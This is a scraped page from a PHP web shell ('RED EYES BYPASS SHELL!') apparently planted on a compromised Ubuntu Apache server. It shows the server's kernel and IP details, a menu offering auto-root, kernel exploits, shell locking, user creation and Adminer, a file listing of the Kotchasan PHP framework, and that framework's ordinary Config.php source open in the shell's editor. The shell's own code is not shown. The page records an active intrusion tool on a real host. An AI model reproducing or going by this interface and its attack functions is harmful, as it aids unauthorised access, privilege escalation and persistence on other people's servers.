Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
lifelonglearn /
commert /
accout /
Kotchasan /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
Cache
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Log
[ DIR ]
drwxr-xr-x
Orm
[ DIR ]
drwxr-xr-x
PHPMailer
[ DIR ]
drwxr-xr-x
Psr
[ DIR ]
drwxr-xr-x
Accordion.php
2.59
KB
-rwxr-xr-x
ApiController.php
5.59
KB
-rwxr-xr-x
ApiException.php
431
B
-rwxr-xr-x
ArrayTool.php
16.99
KB
-rwxr-xr-x
CKEditor.php
5.5
KB
-rwxr-xr-x
Collection.php
4.73
KB
-rwxr-xr-x
Config.php
8.7
KB
-rwxr-xr-x
Controller.php
512
B
-rwxr-xr-x
Country.php
31.94
KB
-rwxr-xr-x
Csv.php
9.82
KB
-rwxr-xr-x
Curl.php
8.35
KB
-rwxr-xr-x
Currency.php
12.71
KB
-rwxr-xr-x
DOMNode.php
6.07
KB
-rwxr-xr-x
DOMParser.php
6.58
KB
-rwxr-xr-x
DataTable.php
50.94
KB
-rwxr-xr-x
Database.php
3.26
KB
-rwxr-xr-x
Date.php
8.26
KB
-rwxr-xr-x
Email.php
7.12
KB
-rwxr-xr-x
File.php
4.52
KB
-rwxr-xr-x
Files.php
3.05
KB
-rwxr-xr-x
Form.php
36.01
KB
-rwxr-xr-x
Grid.php
1.02
KB
-rwxr-xr-x
Html.php
21.1
KB
-rwxr-xr-x
HtmlTable.php
6.97
KB
-rwxr-xr-x
Htmldoc.php
4.37
KB
-rwxr-xr-x
Image.php
13.58
KB
-rwxr-xr-x
InputItem.php
20.1
KB
-rwxr-xr-x
InputItemException.php
449
B
-rwxr-xr-x
Inputs.php
4.29
KB
-rwxr-xr-x
KBase.php
561
B
-rwxr-xr-x
Kotchasan.php
2.73
KB
-rwxr-xr-x
Language.php
18.22
KB
-rwxr-xr-x
ListItem.php
7.77
KB
-rwxr-xr-x
Login.php
9.3
KB
-rwxr-xr-x
Menu.php
2.92
KB
-rwxr-xr-x
Mime.php
51.18
KB
-rwxr-xr-x
Model.php
1.31
KB
-rwxr-xr-x
Number.php
2.64
KB
-rwxr-xr-x
ObjectTool.php
3.73
KB
-rwxr-xr-x
Password.php
2.97
KB
-rwxr-xr-x
Pdf.php
43.15
KB
-rwxr-xr-x
Province.php
11.71
KB
-rwxr-xr-x
Router.php
5.45
KB
-rwxr-xr-x
Session.php
2.22
KB
-rwxr-xr-x
Singleton.php
1.3
KB
-rwxr-xr-x
Tab.php
3.72
KB
-rwxr-xr-x
Template.php
8.37
KB
-rwxr-xr-x
Text.php
12.89
KB
-rwxr-xr-x
Validator.php
2.7
KB
-rwxr-xr-x
View.php
8.16
KB
-rwxr-xr-x
Xls.php
3.04
KB
-rwxr-xr-x
load.php
15.54
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Config.php
<?php /** * @filesource Kotchasan/Config.php * * @copyright 2016 Goragod.com * @license https://www.kotchasan.com/license/ * * @see https://www.kotchasan.com/ */ namespace Kotchasan; /** * Class สำหรับการโหลด config * * @author Goragod Wiriya <admin@goragod.com> * * @since 1.0 */ class Config { /** * กำหนดอายุของแคช (วินาที) * 0 หมายถึงไม่มีการใช้งานแคช * * @var int */ public $cache_expire = 0; /** * default charset * * @var string */ public $char_set = 'UTF-8'; /** * ชื่อของเมล์เซิร์ฟเวอร์ เช่น localhost หรือ smtp.gmail.com * * @var string */ public $email_Host = 'localhost'; /** * รหัสผ่าน mailserver * * @var string */ public $email_Password = ''; /** * หมายเลขพอร์ตของเมล์เซิร์ฟเวอร์ (ค่าปกติคือ 25, สำหรับ gmail ใช้ 465, 587 สำหรับ DirectAdmin) * * @var int */ public $email_Port = 25; /** * กำหนดวิธีการตรวจสอบผู้ใช้สำหรับเมล์เซิร์ฟเวอร์ * ถ้ากำหนดเป็น true จะต้องระบุUser+Pasword ของ mailserver ด้วย * * @var bool */ public $email_SMTPAuth = false; /** * โปรโตคอลการเข้ารหัส SSL สำหรับการส่งอีเมล เช่น ssl * * @var string */ public $email_SMTPSecure = ''; /** * ชื่อผู้ใช้ mailserver * * @var string */ public $email_Username = ''; /** * ระบุรหัสภาษาของอีเมลที่ส่ง เช่น tis-620 * * @var string */ public $email_charset = 'utf-8'; /** * เลือกโปรแกรมที่ใช้ในการส่งอีเมลเป็น PHPMailer * * @var int */ public $email_use_phpMailer = 1; /** * รายชื่อภาษาที่รองรับ * ตามที่มีในโฟลเดอร์ language/ * เริ่มต้นคือ en (ภาษาอังกฤษ) * * @var array */ public $languages = array('th'); /** * รายชื่อฟิลด์จากตารางสมาชิก สำหรับตรวจสอบการ login * * @var array */ public $login_fields = array('username'); /** * ทีอยู่อีเมลใช้เป็นผู้ส่งจดหมาย สำหรับจดหมายที่ไม่ต้องการตอบกลับ เช่น no-reply@domain.tld * * @var string */ public $noreply_email = ''; /** * คีย์สำหรับการเข้ารหัสข้อความ * * @var string */ public $password_key = '1234567890'; /** * template ที่กำลังใช้งานอยู่ (ชื่อโฟลเดอร์) * * @var string */ public $skin = 'default'; /** * ตั้งค่าเขตเวลาของ Server ให้ตรงกันกับเวลาท้องถิ่น * สำหรับ Server ที่อยู่ในประเทศไทยใช้ Asia/Bankok * * @var string */ public $timezone = 'Asia/Bangkok'; /** * คำอธิบายเกี่ยวกับเว็บไซต์ * * @var string */ public $web_description = 'PHP Framework พัฒนาโดยคนไทย'; /** * ชื่อเว็บไซต์ * * @var string */ public $web_title = 'Kotchasan PHP Framework'; /** * @var Singleton สำหรับเรียกใช้ class นี้เพียงครั้งเดียวเท่านั้น */ private static $instance = null; /** * เรียกใช้งาน Class แบบสามารถเรียกได้ครั้งเดียวเท่านั้น * * @return \static */ public static function create() { if (null === self::$instance) { self::$instance = new static(); } return self::$instance; } /** * อ่านค่าตัวแปร และ แปลงผลลัพท์ตามชนิดของตัวแปรตามที่กำหนดโดย $default เช่น * $default = 0 หรือ เลขจำนวนเต็ม ผลลัพท์จะถูกแปลงเป็น int * $default = 0.0 หรือตัวเลขมีจุดทศนิยม จำนวนเงิน ผลลัพท์จะถูกแปลงเป็น double * $default = true หรือ false ผลลัพท์จะถูกแปลงเป็น true หรือ false เท่านั้น * คืนค่า ค่าตัวแปร $key ถ้าไม่พบคืนค่า $default * * @param string $key ชื่อตัวแปร * @param mixed $default (option) ค่าเริ่มต้นหากไม่พบตัวแปร * * @return mixed */ public function get($key, $default = '') { if (isset($this->{$key})) { $result = $this->$key; if (is_float($default)) { // จำนวนเงิน เช่น 0.0 $result = (float) $result; } elseif (is_int($default)) { // เลขจำนวนเต็ม เช่น 0 $result = (int) $result; } elseif (is_bool($default)) { // true, false $result = (bool) $result; } } else { $result = $default; } return $result; } /** * โหลดไฟล์ config * * @param string $file ไฟล์ config (fullpath) * * @return object */ public static function load($file) { $config = array(); if (is_file($file)) { $config = include $file; } return (object) $config; } /** * บันทึกไฟล์ config ของโปรเจ็ค * คืนค่า true ถ้าสำเร็จ * * @param array $config * @param string $file ไฟล์ config (fullpath) * * @return bool */ public static function save($config, $file) { $f = @fopen($file, 'wb'); if ($f !== false) { if (!preg_match('/^.*\/([^\/]+)\.php?/', $file, $match)) { $match[1] = 'config'; } fwrite($f, '<'."?php\n/* $match[1].php */\nreturn ".var_export((array) $config, true).';'); fclose($f); if (function_exists('opcache_invalidate')) { // reset file cache opcache_invalidate($file); } else { // หน่วงเวลาเล็กน้อย usleep(1000000); } // success return true; } else { return false; } } /** * เรียกใช้งาน Class แบบสามารถเรียกได้ครั้งเดียวเท่านั้น * * @return \static */ protected function __construct() { if (is_file(ROOT_PATH.'settings/config.php')) { $config = include ROOT_PATH.'settings/config.php'; if (is_array($config)) { foreach ($config as $key => $value) { $this->{$key} = $value; } } } if (ROOT_PATH != APP_PATH && is_file(APP_PATH.'settings/config.php')) { $config = include APP_PATH.'settings/config.php'; if (is_array($config)) { foreach ($config as $key => $value) { $this->{$key} = $value; } } } } }
Close